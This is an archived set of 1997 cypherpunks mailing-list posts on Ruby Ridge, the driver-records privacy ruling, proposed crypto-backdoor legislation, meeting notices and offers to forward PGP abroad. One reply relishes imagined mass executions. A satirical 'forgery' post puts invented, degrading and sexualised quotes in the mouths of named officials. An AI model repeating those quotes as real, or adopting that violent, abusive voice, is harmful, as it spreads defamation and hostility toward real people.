From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 12 Sep 1997 01:33:24 +0800
To: cypherpunks@toad.com
Subject: Bullshit! / Re: in defense of Lon Horiuchi
Message-ID: <199709111703.TAA07565@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Zooko Journeyman wrote:
>  Anonymous <anon@anon.efga.org> mumbled:
> > It's amazing that Freeh would admit that shooting an unarmed
> > woman holding an infant is what "he was trained to do" and was "within
> > the scope of his authority" and that he "reasonably believed [it] was
> > proper" to do so.  What are they teaching at FBI school nowadays?

> Anonymous, above, would _like_ you to think of the FBI sniper
> Lon Horiuchi as a murderous baby-killer who chuckled gleefully
> when he saw his opportunity to take out a toddler. 

Personally, I think you are both 1/2 full of shit, for a grand total
of Bullshit!

It is fortunate that, in my position of Chief CypherPunks Spokesperson,
I am able to set you both right in the interests of Truth, Justice, and
an Uzi in every pot (bag).

I have no problem with people who enter law enforcement with the 
genuine intention of attempting to serve the ends of equal justice
being applied among the citizens in a reasonable manner.
I *do* have a problem, however, with the fact that the high level
of integrity and responsibility that *should* go hand in hand with
that manner of _public_service_ has in many ways been abandoned to 
serve the convenience (*not* "legitimate needs") of law enforcement
agencies.

We all know that if we had approached the FBI before they found the
guy, and *guaranteed* that if they gave us six men for thirty days
we would bring their man into custody, they would gladly have given
us what we asked, if the alternative was to let him go free.
When it comes to avoiding the loss of innocent lives, however, the
motivation to "do whatever it takes" seems to be more lacking. To
me, this is unconscienable.

A good example is the many lives that have been lost over the years
in dangerous high-speed chases over nickle and dime bullshit, merely
because the 'good guys' main interest was to get a good adrenaline
rush in their pursuit and capture of their prey, however small-fry
that prey might be.
Only when enough blatantly senseless tragedies had taken place, was
there any attempt to introduce the discretion of the "reasonable
man" in the slightest manner such as it is applied to the normal
citizens in the judgement of their actions according to the law of
the land.

The fact that the victims were killed by a 'missed' shot which went
through a door, does not lessen the responsibility of the agent who
chose to use deadly force to understand the potential of the weapon
he was using.
If Zooko shoots a cop by firing into a steel wall with a cannon, he
is unlikely to get cut much slack by saying, "It never occured to
me that could happen."

I don't know the FBI agent who fired the fatal shot. He may be one
of the nicest and most well-intentioned people in the world. However,
I have personally known too many law enforcement personnel who had
far more interest in exercising egoistic authority, or getting an
adrenaline rush from risky situations, than in bringing the end 
goals of law enforcement to a safe and just end for all involved.

I find it hard to believe that the end result of the standoff was
not the result of impatience and convenience rather than the way
things truly needed to be.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Ray <jmr@shopmiami.com>
Date: Fri, 12 Sep 1997 07:38:05 +0800
To: fight-censorship@vorlon.mit.edu
Subject: RE: Hiawatha Bray's column on key-recovery crypto
Message-ID: <3.0.16.19970911185752.0e5f917c@pop.gate.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 09:44 AM 9/11/97 -0400, Hiawatha Bray wrote:
>What a cool idea!  Why didn't I think of that?  
>
>Hiawatha
>
>On Thursday, September 11, 1997 9:41 AM, Arnold G. Reinhold [SMTP:reinhold@worl
>
>> 
>> Hiawatha, I enjoyed your column (Boston Globe Business Section Sept. 11),
>> but why don't you announce that you have a PGP key, print it's signature in
>> a column and ask people to use it to send you news tips? This would enable
>> a freedom of the press challange to GAK.

Further, he could give pointers to Private Idaho, John Doe, etc.,
and encourage the use of anonymous tips to the newsmedia. Since
I operate a cyberspace parking garage (the WinSock Remailer) and
since the Lippo Administration is the most Nixonian since Tricky
himself, I would think that the major media would be up-in-arms
over threats to anonymous communication over the web. After all,
which reporter-team doesn't want to be the next Woodward and
Bernstein? I can understand (while not agreeing with...) my local
rag's opposition to the second amendment, but the total apathy
shown to dangers faced by the first is hard to fathom. I read the
Herald pretty carefully, yet there has been NOTHING this week on
the crypto-controversy. Nothing. While I often disagree with the
Miami Herald's reporting decisions (both substance and emphasis)
it is rare that I find it this scary. <sigh>
JMR

P.S. When *Seth* said, "(and wow, do they like to rant on every
issue)" about Libertarians, my irony-meter broke its needle.


-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Freedom isn't Freeh.

iQEPAwUBNBh3ITUhsGSn1j2pAQF4BQfPZqEWo714dVrd0tQH+fk3jN2nzwUEtlGh
wB6ggUbEJ1GX+LaGdEnWlM1xfFYvIB+ej/3PHumw7P3yIYYNt4XI480LVEEFxfWO
nohAmIOe19+zt73wTZ1Oa9cNDYdOAbrMS5YW3BeyCY1i6nGkaCqXQteaoEJ4MxE1
V+jRIW9sJAdll4+ATw+xzQafl4K8uFk0soCcaupb05FeJVkLseiBxmLl1kBQwOpr
3Y6O8gO8v+ZmlaWsehlgciM47jkOpaAKNX+4b2mHx0+NrfQcfXNQWQ6JoNbx5NaO
L35zof4Ds0bt+t3sIiQG7i7kR5Bbsul4vSfb6R14TtZ6Og==
=HOEQ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Brian B. Riley" <brianbr@together.net>
Date: Fri, 12 Sep 1997 08:07:28 +0800
To: <cypherpunks@toad.com>
Subject: Re: in defense of Lon Horiuchi
Message-ID: <199709112335.TAA07442@mx02.together.net>
MIME-Version: 1.0
Content-Type: text/plain



On 9/11/97 12:16 PM, Zooko Journeyman (zooko@xs4all.nl)  passed this 
wisdom:

>Lest any naive readers who aren't familiar with the details of
>the event buy this kind of spin-doctoring, please be aware that
>the woman in question was probably not visible to the sniper, 
>and it is almost certain that he was aiming at her armed 
>husband who was shooting back.  The bullet travelled through a
>door or some such obstruction I think (I forget the details) 
>before hitting the victim.

>You could more reasonably blame the husband for having the 
>stupidity or carelessness to get in a firefight with his wife 
>and child in the building.


  This doesn't sound like any accounts I have read of what happened at 
Ruby Ridge ... Zooko I think you are the one off base here.


Brian B. Riley --> http://www.macconnect.com/~brianbr
    For PGP Keys -  Send Email Subject "Get PGP Key"
        "Lord, what fools these mortals be!" 
             -- Puck, A Midsummer Night's Dream






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Fri, 12 Sep 1997 08:31:03 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: in defense of Lon Horiuchi (fwd)
Message-ID: <199709120036.TAA16929@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Subject: Re: in defense of Lon Horiuchi
> Date: Thu, 11 Sep 97 20:07:27 -0400

> >Even dumb ole me, who ain't no crack shot, with one of those nifty 
> >(off theshelf) Styer-Mannlicher countersniper rifles with the neato 
> >Zeiss autoranging scope was able to punch a coke can 5 for 5 after 
> >one ranging(cheater) shot at 600 meters. I'm told that the FBI has 
> >much nicer rifles than that. And I ain't trained.
> >
> >(couldn't hit the Mountain Dew can, couldn't see it)  
> 
>   Horiuchi shot Mrs Weaver at slightly over 200 meters .... not much o
> of a chnace he didn't hit what he was aiming at ... which begs the
> question of *wha* was he aiming at?  The rules of engagement
> promulgated by Louis Freehs buddy Potts (I think) were nothing more
> than a death warrant and I have heard that most of the FBI marksmen
> balked at them ... but not good ole 'doin what I'm told to do' Lon ...
> yeah right!

Whether what he did was right or wrong needs to be decided in a court of
criminal law. He killed an individual in the name of the people using our
tax dollars, the people are deserving of an accounting.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 12 Sep 1997 02:09:56 +0800
To: cypherpunks@cyberpass.net
Subject: Re: in defense of Lon Horiuchi
Message-ID: <199709111754.TAA12240@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




Zooko Journeyman quoth:

> Lest any naive readers who aren't familiar with the details of
> the event buy this kind of spin-doctoring, please be aware that
> the woman in question was probably not visible to the sniper,
> and it is almost certain that he was aiming at her armed
> husband who was shooting back.  The bullet travelled through a
> door or some such obstruction I think (I forget the details)
> before hitting the victim.

Zooko,

About the best spin that you can put on this is that the agent was
trying to shoot (again) the retreating Randy Weaver and showed an
utter disregard for the safety of the others in the cabin; who were
known to include women and children.

This is the point.  Not that all Fibbies are demonic baby-killers
but that the arrogance of their agency and its government allow them
to mark someone--Randy Weaver or even Jim Bell--as 'bad guy' and
call out unreasonably huge campaigns against them.  Once so marked,
the "victim" is then helpless, completely without recourse, the
"justice" system by then having been poisoned against them by the
Fibbies and the prosecutors.  [For those that survive long enough
to have an encounter with the justice system.]

> You could more reasonably blame the husband for having the
> stupidity or carelessness to get in a firefight with his wife
> and child in the building.

I don't find that at all reasonable; since Weaver was on his own
property, minding his own business before agents started shooting
at him.  Yes, I know he was wanted for failure to appear for a
court date--that hardly justifies the whole exercise.

> More generally, don't buy any of the spin that anonymous
> cypherpunks (and plenty of named ones) like to put on such
> stories without reading the more balanced accounts yourself.
> Anonymous, above, would _like_ you to think of the FBI sniper
> Lon Horiuchi as a murderous baby-killer who chuckled gleefully
> when he saw his opportunity to take out a toddler.

Perhaps he didn't chuckle gleefully, but he obviously didn't
show much regard for the Weavers' lives either (/before/ Vicky
Weaver's death that is).  BTW, neither I nor anyone else has
accused him of killing a toddler.

>                                                     Anonymous
> is no different from hatemongering pamphleteers and propaganda
> ministers in any penny-ante revolution or Orwellian minitru.
> Perhaps he's on the side of the good guys, but his tactics
> have the same stink that I recognize from reading the
> propaganda blurbs of the bad guys.

Yes, I can see why you would recognize such a smell.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 12 Sep 1997 11:37:02 +0800
To: cypherpunks@toad.com
Subject: Privacy secrecy law for driver's records struck down
Message-ID: <Pine.GSO.3.95.970911195730.12105q-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





	<B>AM-Driver's Privacy,0594<P>
	<B>Judge blocks driver's records secrecy law in
S.C.<P>
<B>By MONA BRECKENRIDGE<P>
<B>Associated Press Writer<P>
	COLUMBIA, S.C. (AP) - A federal law that prohibits
the release of personal information from driver's
licenses and car registrations is unconstitutional, a
judge ruled Thursday in blocking enforcement of the
law in South Carolina starting this weekend.
	State Attorney General Charlie Condon had challenged
the Driver's Privacy Protection Act of 1994 on behalf
of media groups from five states and two national
media organizations. Condon contended the law was an
improper infringement on states' rights.
	U.S. District Judge Dennis Shedd agreed, ruling that
Congress "clearly exceeded its power."
	He said the government, which argued that the law
would prevent stalkers from tracking their victims,
failed to show that it was necessary to protect a
constitutional right of privacy.
	Drivers should not expect their names, license
numbers, addresses, phone numbers and photographs to
be private, the judge said.
	Shedd's ruling blocks enforcement of the law, which
is to take effect nationwide on Saturday, in South
Carolina only. The only other state to challenge the
law so far has been Oklahoma, where the case is
pending.
	"This is a real victory for open governments and
open records," said Bill Rogers, executive director of
the South Carolina Press Association. "South Carolina
already has a very good law to protect people from
stalkers and harassing phone calls."
	Thirty-four states make motor vehicle records public
in some form, according to the Reporters Committee for
Freedom of the Press.
	The federal law would restrict almost everything
in state motor vehicle records that can be looked up
using a license plate or driver's license numbers,
unless an individual agrees to its release.
	The law was sponsored by Sen. Barbara Boxer,
D-Calif., in response to the 1989 slaying of actress
Rebecca Schaeffer, who was killed at her California
home by a man who used a private investigator to
obtain her driver's records.
	The law, however, might not have prevented
Schaeffer's slaying, since it would keep motor vehicle
records open to police, private investigators,
insurance companies, credit agencies and
direct-marketing companies.
	States that did not designate their records as
secret could face federal penalties of $5,000 a day.
State workers who give out such information could be
penalized $2,500 each time.
	"We are very disappointed by Judge Shedd's decision.
We think that driver's privacy protection is an
important anti-crime measure," said David Sandretti,
Boxer's spokesman in Washington.
	Justice Department spokesman Joe Krovisky said he
could not comment because the agency had not seen
Shedd's ruling. Agency officials have 60 days to
decide whether to appeal to the 4th U.S. Circuit Court
of Appeals, he said.
	Shedd relied partly on the U.S. Supreme Court's June
ruling on the so-called Brady Law, in which the
justices said Congress could not make local police do
criminal background checks on people who want to buy
handguns.
	"Unquestionably, the states have been, and remain
... responsible for maintaining motor vehicle records,
and these records constitute property of the states,"
Shedd wrote.
	The media groups that challenged the law were the
press associations of South Carolina, North Carolina,
Virginia, West Virginia and Maryland-Delaware, and the
Newspaper Association of America and the American
Society of Newspaper Editors.
	  






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 12 Sep 1997 11:18:33 +0800
To: cypherpunks@toad.com
Subject: Pro-censorship lobbyist calls for AOL boycott
Message-ID: <Pine.GSO.3.95.970911200353.26032A-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



CHEYENNE, Wyo. (AP) - Marc Klaas, whose daughter Polly was abducted from
her bedroom and killed in 1993, is calling for a boycott of American
Online until it stops allowing access to a Florida woman who posts writing
and art by serial killers on the Internet.
	Klaas particularly objects to the work of Keith Hunter Jesperson,
who is serving three life sentences in Oregon for killings in the
Northwest and is charged with one murder in Wyoming.
	"America Online is hiding behind freedom of speech in allowing
this monster to have a public forum," said Klaas, who was in Wyoming this
week to promote the Klaas Foundation for Children, which he established
after his daughter's slaying.
	Officials for the nation's largest Internet access provider said
Thursday that some material from the home page of Sondra London of
Jacksonville, Fla., would be removed within 24 hours.
	"We find the information that is in this site and in some of the
(associated AOL sites) offensive and objectionable and we did not wish to
have our name associated with it," said AOL spokeswoman Tricia Primrose.
	London said she had removed from her home page one part of
Jesperson's material - the "self-start serial killer kit" - on the urging
of an AOL attorney who said he was investigating the site.
	In a letter to Wyoming Gov. Jim Geringer, AOL Senior Vice
President and general counsel George Vradenburg III said the material was
removed and that none of it was "authored, sponsored or condoned by AOL."
	"They missed the point," Geringer said. "They failed to
acknowledge the remaining material, such as Jesperson referring to his
victims as piles of garbage."
	Geringer, who has asked Oregon officials to extradite Jesperson to
Wyoming so he can stand trial in a 1995 slaying, said he supports Klaas'
call for a boycott. He also asked AOL on Thursday to remove the rest of
Jerperson's material.
	He called London's Web page "a direct pipeline for his rantings
and ravings and advocacy of serial killing."
	London has said she feels it is important to post such information
to gain insight into how serial killers think.
	Polly Klaas' killer, Richard Allen Davis, is on death row in
California. None of his work has appeared on London's Web page.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 12 Sep 1997 08:33:43 +0800
To: cypherpunks@toad.com
Subject: Re: Freeh says FBI doing great, supports Weaver killer
In-Reply-To: <b769f4c3bcd1859a547175bb2effe294@anon.efga.org>
Message-ID: <276Vce27w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Anonymous <anon@anon.efga.org> writes:

> Tim May wrote:
>
> > I wonder how the SS at Stanford will react to my "Death Penalty for Waco
> > Commander in Chief!" placard?
>
> Any truth to the rumor that Kent Crispin will be beside you with a
> placard saying "I'm not a shill--I'm a pawn."?

The fucker deserves a fair trial, and only then an execution.

<visualizing rows and rows of gallows in the Mall; drooling>

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Brian B. Riley" <brianbr@together.net>
Date: Fri, 12 Sep 1997 08:25:32 +0800
To: <cypherpunks@toad.com>
Subject: Re: in defense of Lon Horiuchi
Message-ID: <199709120007.UAA08309@mx02.together.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On 9/11/97 3:43 PM, Chip Mefford (cmefford@avwashington.com)  passed
this wisdom:


>Even dumb ole me, who ain't no crack shot, with one of those nifty 
>(off theshelf) Styer-Mannlicher countersniper rifles with the neato 
>Zeiss autoranging scope was able to punch a coke can 5 for 5 after 
>one ranging(cheater) shot at 600 meters. I'm told that the FBI has 
>much nicer rifles than that. And I ain't trained.
>
>(couldn't hit the Mountain Dew can, couldn't see it)  

  Horiuchi shot Mrs Weaver at slightly over 200 meters .... not much o
of a chnace he didn't hit what he was aiming at ... which begs the
question of *wha* was he aiming at?  The rules of engagement
promulgated by Louis Freehs buddy Potts (I think) were nothing more
than a death warrant and I have heard that most of the FBI marksmen
balked at them ... but not good ole 'doin what I'm told to do' Lon ...
yeah right!

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNBiGFcdZgC62U/gIEQJyPgCgu0oNx/mVZ9fjtI6d7AYfXAT4nfcAoLX3
0nQZslJNDD1x8EG+YfCeqY9x
=Rqj8
-----END PGP SIGNATURE-----


Brian B. Riley --> http://www.macconnect.com/~brianbr
       For PGP Keys -  Send Email Subject "Get PGP Key"
  "Do not go where the path may lead, go instead where there is
    no path, and leave a trail"  - Ralph Waldo Emerson






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Fri, 12 Sep 1997 11:15:29 +0800
To: Declan McCullagh <fight-censorship@vorlon.mit.edu>
Subject: Re: More on House Intelligence committee amendment on crypto
In-Reply-To: <01BCBEC8.8E34E8A0.wathab@tiac.net>
Message-ID: <v0300782fb03e5ec4028b@[207.94.249.39]>
MIME-Version: 1.0
Content-Type: text/plain



At 3:38 PM -0700 9/11/97, Declan McCullagh wrote:
>So I'm reading through the 43-page amendment to SAFE that the House
>Intelligence committee approved today. It includes:...

They're really foaming at the mouth back in 'ol DC.  Lets see:

(1) Free speech is dead.  c.f. Judge Pattel's opinion in the Burnstein case.
(2) The right to a public trial is gone too.
(3) The right to privacy is forgotten.  Close those clinics.
(4) If crypto is an armament, then the right to keep and bear it is gone.
(But that right was already in tatters.)
(5) The right to be safe from unreasonable search is gone if you can't
challenge a search in the courts.
(6) etc. etc.

And over what is merely the practical application of some obscure
mathematics, these turkeys are willing to trash the constitution they are
sworn to support and defend.  It would be really funny if it wasn't so grim.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Six <ualdv8@sk.sympatico.ca>
Date: Fri, 12 Sep 1997 10:25:34 +0800
To: cypherpunks@toad.com
Subject: Strong Crypto Forwarding From Canada For U.S. Citizens
Message-ID: <3418A418.49BE@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



Anyone who wishes to export strong encryption to Internet addresses 
to which it is prohibited to do so by U.S. law may send a copy to me
as a file attachment, along with the addresses to send it to in the
message body.
I will accept up to 100 addresses per crypto program received for
forwarding.

If for any reason you feel that the terrorists who are ruling your
country might be able to persecute you for exercising free speech,
I would be happy to forward PGP 5.0 upon receipt of only the email
addresses, with no instructions or requests.

SixUALDV8





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Six <ualdv8@sk.sympatico.ca>
Date: Fri, 12 Sep 1997 10:24:42 +0800
To: cypherpunks@toad.com
Subject: Forwarding of Federalist Papers from Canada for U.S. Citizens promoting democracy
Message-ID: <3418A45B.151A@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



If you have a desire to educate the citizens of foreign countries
as to the value of democracy, I would be pleased to forward a copy of
the Federalist Papers to any email address you desire, upon receipt 
of only the email addresses, with no instructions or requests.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Fri, 12 Sep 1997 12:42:36 +0800
To: cypherpunks@Algebra.COM
Subject: Cypherpunks Bay Area Meeting, This Satuday September 13th
Message-ID: <3.0.2.32.19970911204423.0074d160@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



Date: Thu, 11 Sep 1997 06:08:29 -0700 (PDT)
From: Hugh Daniel <hugh@ecotone.xanadu.com>
To: cypherpunks-announce@toad.com
Subject:  Cypherpunks Bay Area Meeting, This Satuday September 13th
Reply-to: hugh@xanadu.com


What:	Cypherpunks September 1997 Bay Area Meeting
When:	Saturday September 13, 12 noon till 5pm
Where:	PGP World Headquarters, 2nd floor meeting room
	Bayview Bank Building, just south of Hwy. 92
	2121 S. El Camino Real, San Mateo California
	http://www.pgp.com/pgpcorp/contactpgp.cgi#head

Agenda:
	Forbes Article background, everyone
	Cypherpunks at HIP'97, Lucky Green, David Del Torto
	Ecash announcement, Jeremey Barrett, BlueMoney Software Corp.
	Linux Onion Router, Jeremey Barrett
	Diffie-Helman Free of Patent, ???
	New FBI Anti-Crypto Bill, how to react, everyone
	Domain name conference report, John Gilmore
	Attacks on US remailers etc., Bill Stewart
	???

After:
	Eat dinner somewhere yet to be decided...

PGP Building Access:

This is an Open Meeting on US Soil and it is free for anyone to attend. 

      There is a minor building security formality due to the facilities
        being in a bank building:  anytime after 12 noon, approach the 
        Bayview Building's Information window (in the plaza, see below for
        directions), and ask the Guard on Duty to let you up to the 
        2nd Floor for the Cypherpunks meeting (use the passphrase 
        "cypherpunks release code"). If you have any difficulty
        (eg. if the guard is on a break), simply call DDT at +1 415
	730 3583 he I'll let you in. 
      You can arrive at any time during the scheduled meeting hours, 
        though earlier is better if you want to hear the interesting stuff. 



--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Fri, 12 Sep 1997 12:32:12 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: More on House Intelligence committee amendment on crypto
In-Reply-To: <01BCBEC8.8E34E8A0.wathab@tiac.net>
Message-ID: <3.0.2.32.19970911210020.0070ba78@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 03:38 PM 9/11/97 -0700, Declan McCullagh wrote:
>So I'm reading through the 43-page amendment to SAFE that the House
>Intelligence committee approved today. It includes: 
>
>* Ban on sale of crypto without a backdoor. Five year & fine (maybe
>$250,000?) if violated. Prosecutions can be held in closed-door
>courtrooms, publishers of info about case to be held in contempt of court.

Does the bill retain the 5 years first offense, 10 years second offense
provisions for using crypto in the comission of a crime?

Let's see: Lucky sells five copies of PGP. That's 5+(5+4*10)=50 years in
prison. Or is it (5*5)+(5+4*10)=70 years? Doesn't make much of a difference
at my age, I suppose.


--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hugh Daniel <hugh@ecotone.xanadu.com>
Date: Fri, 12 Sep 1997 12:16:46 +0800
To: cryptography@c2.net
Subject: Cypherpunks Bay Area Meeting, This Satuday September 13th
Message-ID: <199709120403.VAA12441@ecotone.xanadu.com>
MIME-Version: 1.0
Content-Type: text/plain




What:	Cypherpunks September 1997 Bay Area Meeting
When:	Saturday September 13, 12 noon till 5pm
Where:	PGP World Headquarters, 2nd floor meeting room
	Bayview Bank Building, just south of Hwy. 92
	2121 S. El Camino Real, San Mateo California
	http://www.pgp.com/pgpcorp/contactpgp.cgi#head

Agenda:
	Forbes Article background, everyone
	Cypherpunks at HIP'97, Lucky Green, David Del Torto
	Ecash announcement, Jeremey Barrett, BlueMoney Software Corp.
	Linux Onion Router, Jeremey Barrett
	Diffie-Helman Free of Patent, ???
	New FBI Anti-Crypto Bill, how to react, everyone
	Domain name conference report, John Gilmore
	Attacks on US remailers etc., Bill Stewart
	???

After:
	Eat dinner somewhere yet to be decided...

PGP Building Access:

This is an Open Meeting on US Soil and it is free for anyone to attend. 

      There is a minor building security formality due to the facilities
	being in a bank building:  anytime after 12 noon, approach the 
	Bayview Building's Information window (in the plaza, see below for
	directions), and ask the Guard on Duty to let you up to the 
	2nd Floor for the Cypherpunks meeting (use the passphrase 
	"cypherpunks release code"). If you have any difficulty
	(eg. if the guard is on a break), simply call DDT at +1 415
	730 3583 he I'll let you in. 
      You can arrive at any time during the scheduled meeting hours, 
	though earlier is better if you want to hear the interesting stuff. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 12 Sep 1997 10:38:17 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: More on House Intelligence committee amendment on crypto
In-Reply-To: <Pine.GSO.3.95.970911152027.12105Z-100000@well.com>
Message-ID: <199709120224.WAA09072@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.GSO.3.95.970911152027.12105Z-100000@well.com>, on 09/11/97 
   at 03:38 PM, Declan McCullagh <declan@well.com> said:

>So I'm reading through the 43-page amendment to SAFE that the House
>Intelligence committee approved today. It includes: 

>* Ban on sale of crypto without a backdoor. Five year & fine (maybe
>$250,000?) if violated. Prosecutions can be held in closed-door
>courtrooms, publishers of info about case to be held in contempt of
>court.

>* Federal government computer purchases must use key escrow "immediate
>decryption" after 1998. Same with network established w/Federal funds.

>* Such products can be labeled "authorized for sale to U.S. government"

>* U.S. government may "not mandate the use of encryption standards" for
>the private sector

>* Export decisions aren't subject to judicial review

>* Defense & Commerce have controls of exports of crypto

>* Establishes Encryption Industry and Information Security Board

>* Internet providers, key recovery centers aren't liable if they turn
>over keys following legal standards

>* President can negotiate int'l agreements, perhaps punish noncompliant
>governments

>I'm still reading... More details shortly...

>-Declan

Declan,

Is there any way you can get me a copy of the amendment? My congressman is
on that committie and I intend to raise a stink down here on this.

Copies of the transcripts from the meeting and voting recored would be
helpfull.

I understand that 1 congresscritter voted against the amendment, do you
know which one it was? I would like to make sure it wasn't Joe
Scarborough.

Thanks,

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNBibN49Co1n+aLhhAQHjIAQAt8zHf0pXV0ADED/nsurOOu78TOC9WyVh
hiK+Ido+h2gbyI/IM+kYjqFX1Mmnw33u2HcPQgBWY1wOaZDHbE1s7bumkD2hkKAM
Cu8kH4BC2G4yi5pR7S9d+4QwmnHNA+S5ptPdMtV0MwEgTy5c0Ht/Kya5qJZrZikp
hZdGgNhdVv0=
=3nSZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Fri, 12 Sep 1997 12:32:33 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Court proceedings under new SAFE act
In-Reply-To: <v03102806b03e38033026@[207.167.93.63]>
Message-ID: <3.0.2.32.19970911212546.0069c654@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 06:12 PM 9/11/97 -0700, Declan McCullagh wrote:
>I'm reading the bill more closely. This is incredibly slick work.
>
>1. When it appears that any person is selling, importing, or distributing
>non-backdoor'd crypto or "about" to do so, the Atty General can sue to
>stop them. "Upon the filing of the complaint seeking injunctive relief by
>the Attorney General, the court shall automatically issue a temporary
>restraining order against the party being sued." 

They get an *automatic* TRO?

[...]
>More interestingly, this gives courts including the FISA court (yes, the
>secret court that has never denied a request for a wiretap) jurisdiction;
>they can issue ex parte orders giving police access to plaintext. Also
>lets U.S. government coordinate with other governments in doing such.

Is there any way of finding out the names of the judges sitting on the FISA
court?


--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: EFF <eff@dev.null>
Date: Fri, 12 Sep 1997 11:41:11 +0800
To: cypherpunks@toad.com
Subject: Government promotes strong crypto!!!
Message-ID: <3418B6A4.3E7F@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



[Electronic Forgery Foundation]
<Bienfait, Saskatchewan>

[Washington, DC]
  In a startling turn of events, the U.S. government has come out in
support of the use of strong encryption.
  In order to give incentives to criminals to use strong encryption,
the government has announced that the penalty for using weak encryption
in the commission of a crime will be an extra five years in prison.

Lying Nazi Fuck Freeh stated, "Theoretically, the law applies to those
criminals who use strong encryption, as well, but in practice, we will
not be able to prosecute, because if we can't break it, then we have
no way to prove it is being used for criminal purposes."

Dog-faced Child Murderer Reno stated that the high level of publicity
given to the effective use of encryption in crime has served the
government's aim of making certain that the vast majority of criminals
will recognize the value of using encryption to hide evidence.

Lying Nazi Slut Dying FineSwine stated that she opposed the use of
strong encryption by child pornographers because she and the vice
police had grown so accustomed to high-quality computer graphics of
child pornography, that they just couldn't get off on photographs any
more.
Marked for deletion SwineSwine said that she would like to comment more
on child pornography, but talking about it made her hot, and she then
rushed of to the ladies room.

-----------------------------------------------------------------------
  This message was forged under the auspices of the Electronic Forgery
  Foundation. Any misuse or abuse of this message will probably give
  your Congressman a hard on. They're weird that way.
-----------------------------------------------------------------------





